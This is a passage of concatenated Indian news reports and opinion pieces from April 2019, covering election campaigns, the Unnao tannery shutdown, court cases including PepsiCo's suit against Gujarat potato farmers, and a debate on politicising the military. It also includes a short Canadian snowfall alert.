reforms have to be people-friendly. The YSRCP chief on the other hand has promised to raise the upper ceiling for health insurance from Rs 2 lakh to Rs 5 lakh, besides promising an upturn in financial assistance to SHGs, backward castes and other fringe groups. In fact, every single showpiece of his social schemes is named after his father to attract votes. Naidu might find it tough to buck the anti-incumbency factor as he woke up at the eleventh hour to implement the schemes. While the quantum of loan waiver was brought down, experts say that only 35% of the farmers have benefitted so far. In January this year, the TDP government played its womens empowerment card to reach out to the SHGs, promising them a grant of Rs 10,000 in three tranches and providing smartphones and enhanced insurance cover. Post the voting, it seems that chances of Jagan coming to power are bright as the TDP chief only reacted to what the YSRCP had promised already, political analyst A Saye Sekhar summed up. The Congress, too, reacted quite late to the situation. The untimely death of its last big regional satrap and the subsequent bifurcation of the state forced the party to ask for votes in YSRs name. Till the day of his death, YS Rajasekhara Reddy remained a Congressman with unflinching loyalty towards Sonia Gandhi, the late CMs close aide and minister in his cabinet Shabbir Ali said. Other Congress leaders maintain that its the grand old party which has always made it a point to celebrate YSRs birthday. Jagan is playing politics and attaching the name of his father to a host of schemes for narrow political gains, said a former MP on the condition of anonymity. However, V Vijayasai Reddy, the national secretary of YSRCP contested the claim and reminded that in the aftermath of YSRs death, the treatment meted out to Jagan by lodging false cases against him that led to his subsequent incarceration and the refusal by party high command and Congress president Sonia Gandhi to allow the late CMs widow to meet the family members of those who committed suicide after hearing the news of the death of their leader had robbed the party of public sympathy and support. Naturally, not only YSR loyalists but a large section of the general populace deserted the Congress and switched over to Jagan and the YSRCP. YSR never made a false promise. He delivered more than what he had assured unlike Chandrababu Naidu who keeps on reiterating these schemes year after year without implementing them. So when Jagan asks for votes in the name of his father, people know that he will keep his word the way YSR did, Vijayasai Reddy said. Today when loan waiver, offering income support to farmers and launching the worlds largest free healthcare scheme for around 50 crores people are touted as a political game changer, one might forget that it was YSR who pioneered these programmes. It was the strongman from Rayalaseema who rewrote the social contract by reaching out to those in dire need of state support. The voters havent forgotten him and they wont let state politicians forget him either. Elections may come and go, but in Andhra Pradesh YSRs legacy will continue in perpetuity. A Gujarat court on Friday convicted Narayan Sai, son of jailed self-styled godman Asaram, in a rape case A Gujarat court on Friday convicted Narayan Sai, son of jailed self-styled godman Asaram, in a rape case. The sessions court in Surat will pronounce the sentence on 30 April. In 2013, two Surat-based sisters approached police alleging they were raped by Asaram and Sai. One of them accused Sai of repeatedly raping her between 2002 and 2005 when she was living at his ashram. Asaram has been convicted in a rape case in Jodhpur and is serving a life term. Sai was booked under sections of the Indian Penal Code (IPC) "including rape, unnatural sex, molestation, wrongful confinement, unlawful assembly, rioting armed with deadly weapon, criminal intimidation and criminal conspiracy," reports said. The victim's older sister accused Asaram of repeatedly raping her between 1997 and 2006. After the sisters lodged a police complaint, Sai was arrested in 2013 after a "country-wide manhunt". He was also accused of bribing jail officials to the tune of Rs 13 crore. A Jodhpur court pronounced its verdict on the case against Asaram in April 2018. The self-styled godman was arrested on 31 August, 2013. What are the charges against Asaram? Asaram, 77, was booked under Protection of Children from Sexual Offences (POCSO) Act for raping a minor girl in Jodhpur's Manai village. The incident occurred in August 2013. An FIR against Asaram was registered in Delhi's Kamla Nagar police station on 20 August, 2013, after which the police took the victim for medical tests. Accused of trafficking, Asaram was arrested on 31 August, 2013. The police filed an FIR under sections 342, 376, 354 A, 506, 509/34 of the IPC, sections 23, 26 of the Juvenile Justice Act and Section 8 of the POCSO Act. Asaram was charged for sexual assault, raping and illegally confining a minor, according to 1,300-page chargesheet filed by the Rajasthan Police. The police booked Asaram under multiple non-bailable sections of IPC in August 2013 after the self-styled godman did not appear until 31 August. To evade arrest, Asaram remained inside one of his ashrams in Indore. Clashes broke out between his disciples and the policemen, but he was eventually arrested by the Jodhpur police on 1 September, 2013. With inputs from agencies Forced to close down in November for the Kumbh Mela, ostensibly to prevent pollution in the Ganga from waste from the tanneries, the centres are still shut. Editor's Note: A network of 60 reporters set off across India to test the idea of development as it is experienced on the ground. Their brief: Use your mobile phone to record the impact of 120 key policy decisions on everyday life; what works, what doesn't and why; what can be done better and what should be done differently. Their findings straight and raw from the ground will be combined in this series, Elections on the Go, over a course of 100 days. *** Unnao: "Agar ek pregnant worker ko karza chukaane ke liye apni kokh bechni pad rahi hai, toh aap isi se is industry ki haalat samajh sakte hai (If a pregnant worker has to sell her unborn child to settle her debts, this alone can help you understand the condition of tanneries here)," said Kaushlendra Chandra Mishra, the owner of Triveni Tanners in Unnao's Jajmao area. According to local media reports, one Meraj Alam's wife, a resident of Amrud Bazaar and a tannery worker, sold her unborn seven-month-old to her landlord as the family had taken a loan of Rs 10,000 from him. After the news went viral, Jajmau Police Station took cognisance of the matter and raided a few places but made no arrests. The once-prosperous tanning centres at Unnao's Jajmao area and Kanpur, today wear a deserted look, with the tea sellers and scrap dealers moving base. Forced to shut down by an 18 November order for the Kumbh Mela, ostensibly to prevent the Ganga from being polluted with the waste from these tanneries, the centres remain closed even seven weeks after the religious gathering ended on 4 March. Home to more than 400 large tanneries with an annual turnover of Rs 8,000 crore, Jajmao area was known for its leather products, with big players like Mirza Tanners and Taj Shoes setting up manufacturing units in the neighbourhood. The industry is already on a ventilator, said Mishra, who is also an office-bearer of the Small Tanners' Association. If the shutdown continues much longer, the leather industry in the state will come to an end, and no one will be able to revive it. Officials of the Uttar Pradesh Pollution Control Board and the Uttar Pradesh Jal Nigam are not ready to say anything about reopening the tanneries. Officials of both departments turned down this reporter's queries five times. Sources say that because the decision related to the tanneries were made at the highest level of the state government, under the direct supervision of Chief Minister Yogi Adityanath and a few of his trusted officials, it is impossible to say why and for how long the closure will last. Also, accusations of the move being religiously motivated by the saffron government gains currency every day. Unfortunately for the tannery owners, no candidate in the running from the Unnao constituency be it Congress Annu Tandon, or Samajwadi Party's Arun Shankar Shukla, or BJPs Sakshi Maharaj has brought up their plight during their election campaigns. Uttar Pradesh minister Satyadev Pachauri, who is contesting from Kanpur, maintains that the decision was for a temporary shutdown of the tanneries for the duration of the Kumbh Mela. The units will reopen, and we will also work to restart the closed textile mills in the district, he said, while on his campaign trail. Not surprisingly, the Small Tanners Association is contemplating boycotting the Lok Sabha election, said Mishra. Voting for the BJPs development promise last time turned out to be a curse for us. What we got in return is a four-month closure, due to which we are suffering huge losses," he said, adding that a few labourers had committed suicide because of debt. Jajmau Police Station confirmed the cases. Muslims and Dalits ran the bulk of the tanneries in Jajmao. The majority of owners are Muslims, but a large chunk of the Hindu population, too, is linked with the industry and is suffering because of the closure order, said Arshi Khan, a tannery owner. We do not know when we will be allowed to reopen. The labourers have migrated to other places, and the machines are developing problems, which is costing us. With no income, every tannery owner has had to resort to seek loans to survive. There is no one to solve our problems, Khan said. Even scrap dealers have stopped coming to our areas because they know we have nothing to sell as our stock of untanned leather is of no use now. Everyone talked about 'Make in India'. We were hoping it will give our business a boost. But what is happening to us is very unfortunate." Chandan Kumar, a 39-year-old chemical supplier with a small shop situated near Gangaghat Police Station, says he has lost all hope for the leather industry. I have not sold even 10 millilitres of chemicals in the past four months, he said. I am now trying my hand at some other profession. I have spent all my savings, and no one is willing to lend me money for to pay for my children's admission at a private school. Nayar Jamal, former president of the Small Tanners Association, also believes it would be better to boycott the Lok Sabha election to show the government the value of every single vote since they failed to clean the Ganga, and in an election year, ordered the closure of tanneries. The public should know that a treatment plant was made especially for tanneries, so the question of wastes from their drains directly entering the Ganges should not arise," Jamal asserted. According to Magsaysay Award Winner Rajendra Singh, also known as the Waterman of India, the main cause for pollution in the Ganga is dumping of untreated sewage and industrial waste. "You cannot blame tanneries alone for the pollution," Singh said. "So shutting down the tanneries of Kanpur and Unnao for such a long period cannot be justified." Requesting anonymity, a chief environment officer with the Uttar Pradesh Pollution Control Board said that the tanneries had been blamed for polluting the Ganga for no reason. "The main cause of pollution, from what our office has analysed, is the dumping of industrial waste, specifically from the sugar industries in Western Uttar Pradesh," he said. "The water from these tanneries was going to the treatment plant, and only treated water was being dumped in the river. It is totally wrong to blame the tanneries for the pollution." I smell a conspiracy behind this, said Taj Alam, president of Uttar Pradesh Leather Industries Association. CM Yogiji told our representatives that he does not have any problem with the tannery operations, but officers have yet to pass orders to reopen them. Jamal further said that the tanning industry in Jajmao and Kanpur is almost dead and buyers are now going to Pakistan, Brazil, Bangladesh, Vietnam and other nations. Jawed Iqbal, regional chairman of the Council of Leather Exports, said the Government of West Bengal had allotted plots for 12 tanneries, and soon, these tanneries would shift to the Bantala leather industry cluster near Kolkata and bring in more than Rs 1,000 crore of investment in that state. "It is unfortunate that people of our own state are being rendered jobless. The loss, which has yet to be estimated, in the leather market from these two districts (Kanpur and Unnao, or the Jajmau cluster) will not be less than Rs 3,000 crore." The author is a Lucknow-based freelance writer and state editor of 101Reporters PM Modi is expected to file his nominations from Varanasi today, while Amit Shah will campaign for the BJP in Rajasthan; Rahul Gandhi will be on a campaign spree in Maharashtra, Odisha and Bihar Narendra Modi to file his nomination from Varanasi today Prime Minister Narendra Modi, who is on a two-day visit to his parliamentary constituency, is scheduled to file his nomination on Friday in the presence of NDA leaders, including Bihar chief minister Nitish Kumar and Shiromani Akali Dal leader Parkash Singh Badal. The prime minister is also scheduled to offer prayers at the temple town's Kal Bhairav temple before filing his papers. The prime minister will also address booth level workers and party cadres at around 9.30 am. In the 2014 Lok Sabha polls, Modi, who contested from two seats Varanasi and Vadodara in Gujarat had defeated AAP leader and Delhi chief minister Arvind Kejriwal from here. Congress' Rai finished third. This year, there were speculations that the Congress party will field Priyanka Gandhi Vadra against Modi, but the party ended the speculations a day before prime minister filed his nomination by declaring Rai's candidature. On Thursday, Modi also held a mega roadshow in his constituency , drawing massive crowds, before he culminated the show of strength with the Ganga aarti at the Dashashwamedh Ghat. Soaring the political temperatures, Modi was joined by BJP president Amit Shah, Uttar Pradesh chief minister Yogi Adityanath and other senior BJP leaders in the temple town. Election update: Rahul Gandhi on campaign spree in three states; Amit Shah to visit Rajasthan, BJP president Amit Shah will address a public rally in Rajasthan's Jalore Lok Sabha constituency in support of party candidate Devji Patel. Shah will also attend a roadshow in Jodhpur for BJP candidate and Union minister Gajendra Singh, who is also the sitting MP from that constituency. Meanwhile, Congress president Rahul Gandhi will visit Bihar, Maharashtra and Odisha on Friday for public meetings. Rahul campaigned in Rajasthan's Kota and Jalore districts on Thursday, where he accused the prime minister of doing injustice to the people of India, saying the 'acche din ayenge' slogan has now been replaced by 'chowkidar chor hai'. Expect Shah to hit back at the Gandhi scion when he takes the stage in the same city. Priyanka Gandhi, meanwhile, will campaign in Uttar Pradesh's Unnao and Barabanki districts. Unnao will go to polls on Monday, while elections will be held in Barabanki on 6 April. Justice Indu Malhotra inducted into panel probing sexual harassment allegations against CJI Supreme Court judge Indu Malhotra was Thursday appointed as a new member of the in-house inquiry panel set up to examine the allegations of sexual harassment against Chief Justice of India Ranjan Gogoi, following the recusal of Justice NV Ramana. Justice SA Bobde, who is heading the inquiry panel and is the senior-most judge after the CJI, has appointed Justice Malhotra to the committee. Justice Indira Banerjee is also part of the panel. "We are going to have our first sitting as scheduled on Friday. The notice which was sent to the woman employee on Tuesday remains and there is no need to issue a fresh notice," Bobde said. The development assumes significance as the former woman employee of the apex court had written a letter Wednesday to the panel expressing reservation over the inclusion of Justice Ramana on the ground that he is a close friend of the CJI and a regular visitor to his house. Kim Jong-un and Vladimir Putin hold their first-ever meeting in Russia Russian President Vladimir Putin said North Korean leader Kim Jong Un confirmed during their first summit Thursday he is willing to give up his nuclear weapons but only if he gets an ironclad guarantee of security beforehand. The Russian president stressed that Moscow and Washington both want North Korea to abandon its nuclear weapons. But he said the security guarantees should be underwritten by multiple countries, hinting at an arrangement like the six-nation talks Russia participated in until their collapse in 2009. Putin added that Kim encouraged him to explain the nuances of Pyongyang's position to President Donald Trump. He said he's willing to share details of the summit with the American president. Putin's remarks after the one-day summit just off the Pacific port city of Vladivostok reflect Kim's growing frustration with Washington's efforts to maintain "maximum pressure" until the North commits to denuclearisation. But his characterisation of Kim's comments also suggests there have been no major changes in North Korea's basic position. North Korea has all along contended that it needs its nuclear arsenal to defend itself against what it sees as US hostility and wants concrete reassurances of its safety including the removal of the American nuclear threat as an integral part of the denuclearization of the entire Korean Peninsula. It wasn't immediately clear what other agreements the leaders might have struck. Radhakrishna Vikhe Patil quits as Maharashtra Leader of Opposition after son joins BJP Senior Maharashtra Congress leader Radhakrishna Vikhe Patil, whose son joined the BJP last month, has resigned as the Leader of Opposition in the state Assembly, the party said on Thursday. Party chief Rahul Gandhi has accepted Vikhe Patils resignation, state Congress president Ashok Chavan told reporters in Ahmednagar district. The development comes a day before Rahul's rally in Ahmednagar on Friday. Patil was accused of giving tacit support to his son Sujay, who was the BJP contestant from Ahmednagar Lok Sabha seat and was blamed for working behind the scenes in his campaign. Party sources said he was in touch with the supporters of his father late Balasaheb Vikhe Patil in Rahuri, Parner and other areas in Ahmednagar district, and exhorted them to support Sujay. Sri Lanka scales down Easter attack toll to 253, cites 'calculation error' Sri Lanka on Thursday night revised the death toll from the Easter Sunday blasts by more than 100, to "about 253", according to the health ministry. Authorities earlier said that nine suicide bombers, believed to be members of local Islamist extremist group called National Thowheed Jamath (NTJ), carried out the devastating blasts that killed 359 people and wounded more than 500 others. A few days after the blasts, the Islamic State claimed responsibility. "As it was not easy to count the correct number of dead due to extensive damages suffered in some cases, the figures issued were all approximate numbers," said Dr Anil Jasinghe, Director General of the Health Services. RBI strengthening surveillance framework with rise in fintech adoption With fintech innovations and their adoptions by the financial sector entities growing at a frenetic pace, the Reserve Bank is strengthening its surveillance framework. Governor Shaktikanta Das said the central bank is also aligning its framework to help the market intermediaries provide financial access to the bottom-of-the-pyramid. "In view of the growing significance of fintech innovations and their growing interface with the financial sector entities, RBI is strengthening its surveillance framework," Das said. MI face CSK test as teams look to close in on playoff spot In a highly anticipated clash table toppers Chennai Super Kings set to battle against Rohit Sharma-led Mumbai Indians at MA Chidambaram Stadium in Chennai on Friday. With eight wins from 11 games, MS Dhoni's CSK already have one foot in the playoffs, while MI will have an opportunity to complete a double over defending champions. Apple recalls AC wall plug parts for several countries Apple has announced a recall of wall plug adapters designed for use in three regions of Hong Kong, Singapore, and the United Kingdom. The company said that this recall will not be affecting any of its USB power adapters. This happens to be Apples second wall plug adapter recall in recent years. Empire cast pens letter demanding Jussie Smollett's return to show The cast of Empire has sent a letter to Fox and the show's producers, asking them to bring back Jussie Smollett in the next season. Smollett was written out of the last two episodes of season five after he was accused by Chicago police of orchestrating a staged assault against himself earlier this year. The letter, signed by the actors, including lead stars Taraji P Henson and Terrence Howard, urged the makers to ensure Smollett's return for the sixth season, according to The Hollywood Reporter. With inputs from agencies Photo: Mark Thomson Revelstoke to Rogers Pass Just when you thought it was safe to take your snow tires off, Environment Canada is calling for snow in some of the mountain passes. Environment Canada has issued alerts for Highway 3 at the Paulson Summit to Kootenay Pass and the Trans-Canada Highway - Eagle Pass to Rogers Pass. A late season snowfall is expected to bring 5 to 10 cm of the white stuff to the higher elevations. A transition to a showery pattern will begin across central and eastern B.C. late on Friday as a trough of low pressure crosses the province. Freezing levels will drop in the wake of the system on Saturday causing rain showers to switch over to snow, particularly over the high mountain passes. 5 cm of snow is anticipated over Pine Pass tonight, where the transition from rain to snow will occur the earliest. Yoho Park - Kootenay Park region and higher elevations of the Trans-Canada highway including Rogers Pass are also expecting 5 to 10 cm of snow. Kootenay Pass and the Elk Valley are also expected to receive 5 cm of snow later Saturday. Motorists are encouraged to prepare for winter driving conditions and consult Castanet traffic cameras and DriveBC for road conditions before travelling. Weather in the mountains can change suddenly resulting in hazardous driving conditions. Former Indian Army chief Dalbir Singh Suhag was appointed as India's High Commissioner to Seychelles on Thursday, In a move that is likely to be a significant move in India's effort to increase its security presence in the Indian Ocean region. In a move that is likely to be a significant move in India's effort to increase its security presence in the Indian Ocean region, former Indian Army chief Dalbir Singh Suhag was appointed as India's High Commissioner to Seychelles on Thursday. The country, an archipelago off East Africa, is of strategic importance to India. "He is expected to take up the assignment shortly," the Ministry of External Affairs said while making the announcement. Suhag's appointment to the post in Seychelles comes amid deepening military ties between India and the island nation. Suhag served as the army chief between July 2014 and December 2016, and was also in-charge when India conducted the surgical strikes across the Line of Control (LoC) into Pakistan-occupied Kashmir (PoK) in September 2016. The army had taken the step after a terrorist attack on a camp in Uri, which had resulted in the deaths of 19 security personnel. Suhag has also been part of the Indian Peace Keeping Force (IPKF) in Sri Lanka in 1987. Reportedly, it was during Suhag's tenure that the Special Forces carried out a raid across the border in Myanmar in 2015, to destroy "militant camps" after the killing of 18 Indian soldiers in an ambush in Manipur's Chandel district. Suhag's appointment is more significant as a defence move than as a diplomatic one with India's plans to develop the Assumption Island in Seychelles as a naval base to expand its footprint in the region where China has been trying to enhance its military presence. An agreement to develop the island was signed during Prime Minister Narendra Modi's visit to the country in 2015, soon after he was elected as the prime minister in 2014. The project landed in trouble after the island nation's government changed and the new parliament blocked India's move claiming a "compromise of sovereignty". However, Seychelles president Danny Faure visited India in June 2018, and during his visit, both countries agreed to work together on the Assumption Island project. "Appointments of former defence personnel as envoys to countries are not unheard of the previous Congress-led United Progressive Alliance government had named former Indian Navy chief Nirmal Kumar Verma as high commissioner to Canada, Vermas predecessor Sureesh Mehta as high commissioner to New Zealand and former air chief NAK Browne as ambassador to Norway," Livemint reported. Analysts said that defence and security form an "important pillar of the bilateral relationship" between India and Seychelles. "Suhag's appointment could help cement the ties further," Hindustan Times reported. However, no progress has been made on the Assumption Island project yet, reports said. "India and Seychelles have an established relationship in defence and maritime security, through which India helps to patrol the waters of Seychelles and gives equipment to the island nations defence forces. In recent years, India has agreed to help Seychelles map its hydrology reserves, launched a coastal surveillance radar project, and boosted security cooperation with the nation," The Indian Express reported. With inputs from PTI A Delhi court has sought an Action Taken Report from the police on a criminal complaint seeking an FIR with sedition charges against Rahul Gandhi. New Delhi: A Delhi court on Friday sought an Action Taken Report (ATR) from the Delhi Police on a criminal complaint seeking directions for the registration of an FIR under Section 124A of the Indian Penal Code on sedition against Congress president Rahul Gandhi. The complaint was filed by Joginder Tuli, an advocate practising in the Supreme Court, saying that Rahul had accused Prime Minister Narendra Modi of "hiding behind the blood of soldiers" and doing "dalali" on their sacrifice. Additional Chief Metropolitan Magistrate Samar Vishal sought the report from the Parliament Street Police by the next hearing on 15 May. Advocate Tuli annexed a newspaper cutting, which published the news of Rahul's speech. The petitioner also alleged that he had approached the concerned police station, but no action was taken by the police. For the survival of democracy, it is vital to keep our military apolitical. Exploiting it for fleeting political advantage carries the real risk of creating a Praetorian monster in our midst 'Democracy demands forces be apolitical' Egregious neglect of Indias security by successive governments has been a perennial target of censure by commentators for decades. Independent Indias politicians considered this matter unworthy of their time because, so far, it was not a vote-catching issue for a public preoccupied with roti, kapda, makan and lately, jobs and agrarian distress. Political survival their priority, politicians were happy to leave the higher management of defence and security almost entirely to the bureaucracy and devote themselves to electioneering. But, the past few months have seen a dramatic shift, with national security taking centre stage in election rhetoric. Since party manifestos provide little reassurance, it remains to be seen whether the show of concern for national security is genuine and enduring or merely a vote-garnering device. Having been thrust into the spotlight, the military must find itself puzzled and discomfited; given decades of political neglect and the current state of civil-military relations. The crux of civil-military relations, universally, is to ensure that soldiers remain in their barracks and refrain from interfering or participating in domestic politics and governance. This is best achieved by implementing civilian control of the forces, exercised directly by elected representatives. Unfortunately, this principle was subverted post-independence. According to American scholar George Tanham, The role and status accorded to the military, in India, is a clear manifestation of an unbalanced civil-military equation. He traces its roots to prime minister Jawaharlal Nehrus pacifism and an anti-military attitude. Nehru also nurtured a phobia of military coups and neglected the military, downgrading its leadership vis-a-vis the police and civil servants. This Nehruvian legacy has survived successive regimes. Regardless of the party in power, national security has stayed at the bottom of priority lists and the military leadership continues to be deliberately excluded from decision-making. Reforms have been stalled and military modernisation hindered by meagre budgets and a languid bureaucracy. The past five years have, however, seen the emergence, of some new and seemingly contradictory phenomena. On one hand, the process of downgrading the status of the armed forces has accelerated, overturning the well-established relativities with the bureaucracy, police forces and even subordinate services, not just embarrassing the military but also hitting morale and operational effectiveness. At the same time, hints of political patronage have served to unsettle the officer corps with misgivings about quid pro quo bargains being struck. The most serious development, however, relates to the assumption of ownership and credit for military operations and their inclusion in election campaigning by political parties. Customarily, military operationsespecially those by the Special Forcesspeak for themselves and are rarely publicised. While governments may legitimately take credit for ordering military operations, it is when political parties brazenly exploit them for votes and personal aggrandisement that the plot starts unravelling. The puerile and ill-informed political and media debate about the 2016 cross-border raids and the February 2019 air strikes not only trivialised serious issues but also diluted the message of punitive-deterrence that India intended to convey. Equally damaging was the public perception that serving officers were making statements to comply with a party line. Our professional and, so far, apolitical military serves the Constitution through obedience to democratically elected civilian office-holders, without showing preference for any political party or taking partisan positions. Internalised by the Indian military, this principle is a pillar of Indias democratic system and has ensured a peaceful transfer of power after each general election. A politicised military, loyal to one political party or the other, could well start participating in partisan politics. Appropriation of military achievements by politicians could trigger a reverse process, whereby ambitious generals start initiating military operations to please politicians--a frightening possibility. As far as veterans are concerned, they have the same rights and privileges as private citizens. They may serve with think tanks, engage in public debate and even contribute military expertise to political campaigns. But, they need to remain conscious of two facts: the Constitution accords them the privilege of using military ranks in perpetuity and a strong umbilical cord connects them to serving soldiers. So, when bemedalled veterans, sporting star-studded caps, are seen saluting or genuflecting before politicians, they send a message of subservience that runs contrary to our proud martial tradition. Similarly, political parties, eagerly enlisting veterans, without a long-enough cooling period, cannot but send negative signals to serving personnel about the benefits of acquiring political connections early in ones career. For the health and survival of the Indian democracy, it is vital to keep our fine military apolitical and non-partisan. Exploiting the military for fleeting political advantage carries the real risk of creating a Praetorian monster in our midst. (Admiral Arun Prakash (retired) is a former navy chief) 'National security is about politics' Sushant Sareen If we accept the Clausewitzian dictum that war is the continuation of politics by other means, then clearly national security cannot be divorced from politics. Those clucking their disapproval and behaving as though some great calamity has befallen India because national security is now very much an election issue, are being disingenuous when they seek to keep national security out of the ambit of competitive politics. National security has always been part of national politics. What has changed is only the way this issue is now playing out in the public domain. In the past, public discussions on national security were esoteric, dominated by a small group of elites who operated within their own echo chamber. This was in part possible because it was so much easier to control the debate newspapers, radio and TV could and did shun voices that didnt quite conform to the consensus they peddled. Therefore, in spite of the fact that the street always had a view, it was haughtily ignored by those who framed, analysed and implemented national security. Today, the street can no longer be ignored because it has now got the tools to make itself heard. And while the elite would like to continue to cut out this noise, the politician is forced to respond to the vocal, visible and vehement views of the street on national security. The democratisation of the policy discourse has therefore led to the politicisation of defence, security and foreign policy in ways that have not been seen before. No savvy politician will ever let go of any opportunity to use national security to enhance his or her political capital. Even if certain politicians eschew the temptation to cash in on their palpable success in the domain of national security, their opponents are unlikely to resist the temptation to exploit any failure in this field. This means that even if Prime Minister Narendra Modi and his acolytes hadnt milked or, more appropriately, done the chest thumping after the 2016 surgical strikes or the 2019 Balakot air strikes, his opponents would have torn him apart had anything gone wrong. In a political setting where the political executive calls the shots on issues of war and peace and the armed forces follow the orders and the policy laid down by the political leadership, it is the politician who will get the credit and the accolades when things work out, and face the heat when they dont. This means that even if national security isnt politicised by one side, it will be by the other. One primary reason why Sardar Patel is adulated is because of how he fused the nation by amalgamating the Princely States and taking strong action in Junagarh and Hyderabad. Had the police action in Hyderabad gone wrong, would Patel still be a revered figure? Wasnt Jawaharlal Nehru pilloried for the 1962 disaster even though a year earlier when Goa was annexed he basked in the glory of that event? During the Kargil war in 1999, the Congress party lampooned the Vajpayee government by floating a hot air balloon of a bus turned upside down, mocking the Prime Ministers Sada-e-Sarhad diplomacy. That India kicked out the Pakistanis from Kargil turned the tables and allowed the BJP to romp home in the elections later that year. Similarly, during the Doklam crisis, didnt the Opposition take constant potshots at Prime Minister Modi, mocking his jhoola diplomacy with the Chinese president? Wasnt that politicisation of national security? Suffice to say that even though national security has always been a political issue and has had a play in elections, the ones who complain the loudest are those who are on the receiving end of this issue. Thats either because they have failed on this front, or because their opponents have succeeded in capturing and monopolising the topic. There is of course some heartburn over what is being called the politicisation of the armed forces. But this again is nothing new. There was a time when the armed forces were seen as loyalists of the grand old party. Today it appears the shoe is on the other foot and a large part of the soldiery tends to see the BJP as articulating its thinking much more robustly than any other party. As long as the politicisation doesnt interfere with or disturb the internal coherence and chain of command of the army, it should be seen as nothing more than an outreach to an important constituency. After all, soldiers and their families are also voters. (Sushant Sareen is Senior Fellow, Observer Research Foundation) On Friday, top officials from the Jammu and Kashmir government, including Chief Secretary BVR Subrahmaniam, Home Secretary Shaleen Kabra and DGP Dilbagh Singh, met the EC, including the chief election commissioner, in Delhi to discuss the poll preparedness in the state, officials said. New Delhi/Srinagar: The Election Commission (EC) officials will meet in the national capital on 30 April to discuss the possible dates of the Jammu and Kashmir Assembly polls, official sources said on Friday. On Friday, top officials from the Jammu and Kashmir government, including Chief Secretary BVR Subrahmaniam, Home Secretary Shaleen Kabra and DGP Dilbagh Singh, met the EC, including the chief election commissioner, in Delhi to discuss the poll preparedness in the state, officials said. Sources said, the Jammu and Kashmir administration had sought the meeting with the EC through the ministry of home affairs. "Now we have asked them to given in writing what they have said so that full commission can consider it on 30 April," said a senior functionary. However, the Jammu and Kashmir governor is not in favour of holding polls to the state Legislative Assembly in the near future in view of the ongoing tourist season and the forthcoming Amarnath Yatra in the Valley, which will begin on 1 July, they said. The sources said the "full commission" comprising the chief election commissioner and two fellow commissioners will meet on 30 April to discuss the possible dates of the Jammu and Kashmir Assembly polls. The officials said the EC, during the meeting, rejected the assertion of the officials from Jammu and Kashmir that the situation in the state needs to be assessed before conducting the Assembly polls. They said said the Commission was of the view that if the Lok Sabha polls could be held, there should be no issue in holding the elections to the state assembly. The meeting took place days after the three special observers appointed by the EC submitted their report on the possibility of holding Assembly polls in the state after the Lok Sabha polls. The state chief electoral officer had met the deputy election commissioner concerned on Thursday, ahead of Friday's meet. On Friday, the election authorities in Jammu and Kashmir had written to district election officers to submit list of district level nodal officers within two days for assembly polls in the state. However, the order was withdrawn within hours of it being issued. Jammu and Kashmir has not an elected government since the PDP-BJP coalition government fell apart in June 2018. The state was placed under Governor's Rule, as provided by the Constitution of Jammu and Kashmir, on 19 June, 2018, after the BJP withdrew from its coalition with the PDP. As mandated by the Constitution, the state was brought under President's Rule on 19 December, 2018, which will have to be extended for a period of six months on 19 May, 2019, or till an elected government is put in place, whichever is earlier. The source said the secretary general was present before the panel, also comprising two women judges Indu Malhotra and Indira Banerjee with all the documents and material. New Delhi: A former apex court woman employee, who has levelled allegations of sexual harassment against Chief Justice of India Ranjan Gogoi, Friday appeared before the in-house inquiry panel which is dealing with her complaint. The three-member panel, headed by Justice SA Bobde, conducted its first in-chamber sitting during which the woman and the secretary general of the apex court appeared before it, an official source said. The source said the secretary general was present before the panel, also comprising two women judges Indu Malhotra and Indira Banerjee with all the documents and material. During the hearing before the panel, only the woman was present and the secretary general was not privy to the proceedings, the source said. The advocate who had accompanied the woman to the apex court was also not part of the proceedings, the source said. Potato farmers in North Gujarat are being sued under the Protection of Plant Varieties and Farmers Rights Act, 2001, (PVP act for short), filed by the Indian arm of the multinational giant Pepsico India Holdings pvt ltd for growing a potato variety it uses to manufacture Lays chips. Not for the first time, farmers in Gujarat are in trouble over the question of seeds. Earlier in 2001-02, it was illegal Bt cotton seeds. This time its the potato farmers in North Gujarat who are being sued for Rs 1 crore under the Protection of Plant Varieties and Farmers Rights Act, 2001, (PPV AND FR act for short), filed by the Indian arm of the multinational giant PepsiCo India Holdings pvt ltd for growing a potato variety it uses to manufacture Lays chips. On 8 April this year, Judge Moolchand Tyagi of the commercial court at the Ahmedabad city civil court, granted an ex parte injunction in favour of the company, without hearing the farmers The order relied on the provisions of sections 64 and 65 of the PVP Act and said that the company has a prima facie case in its favour as also the balance of convenience. The court said if PepsiCo is not granted the ad interim injunction, then it would suffer irreparable loss. Also, any delay in granting an ad interim injunction in the companys favour would defeat justice. PepsiCo sought an injunction, restraining the farmers from growing the same potato variety it supplies to 24,000 farmers in 10 to 12 states on contract to grow it. The companys case is that the farmers (nine of them), were growing a potato variety it registered in February 2016 as 'FL 2027' (commercial name FC5) under the PVP Act. The potato chips are sold under the brand name Lays. The counsel for PepsiCo submitted that the farmers were illegally growing, producing and selling it without permission of the company in violation of its statutory right granted under sections 64 and 65 of the Act. It was submitted that the Registered Variety is the hybrid of FL 1867 and Wischip varieties. In 1999, the denomination FL 2027 was coined and assigned to the said variety. In India, the Registered Variety was first put to commercial use in 2009 and has been traded under the trademark FC5 by the company which registered it on 2 February, 2016 under the PPV And FR Act. The company granted license to some farmers, firstly in Punjab, to grow potatoes of this variety on a buyback system. The company learnt about farmers growing this potato variety on 3/5 January, 2019 and collected samples from the premises of the farmers which were sent for verification to the in-house laboratory of the company as well as the central governments laboratory in Shimla. The DNA of the samples matched the DNA of the companys potato variety. The company said the farmers were infringing the companys right under the PVP Act and demanded an injunction against them for growing the crop as it would face irreparable losses otherwise. However, at the hearing on 26 April, the farmers were represented by their lawyer, Anandvardhan Yagnik, who sought time to reply to the matter. PepsiCo has submitted a proposal to settle with the farmers by suggesting that either the farmers given an undertaking that they shall use the registered variety or they should enter into an agreement with PepsiCo to purchase seeds from the company and thereafter sell the produce also to it on the terms and conditions which PepsiCo has been offering to farmers in Gujarat. Mr Yagnik has submitted that the proposal will be put to the farmers and based on their decision, a reply will be sent to PepsiCo. The next hearing is slated for 12 June. Reacting to the proposal, Kapil Shah of the NGO, Jatan, said that PepsiCo should withdraw the case and pay the costs to the farmers. Kavitha Kuruganti, of the Alliance for Sustainable and Holistic Agriculture (ASHA), told Firstpost that PepsiCo, after filing a suit, has now been put on the backfoot, and it is offering a settlement. The company does not acknowledge that farmers rights are upheld by the law in India and it was wrong in suing the farmers in the first place. She said it was an arrogant proposal because PepsiCo is trying to negotiate with farmers on its own terms and conditions whereas it has wrongfully sued them. It is only a matter of time before it is asserted that it had sued them wrongly, she 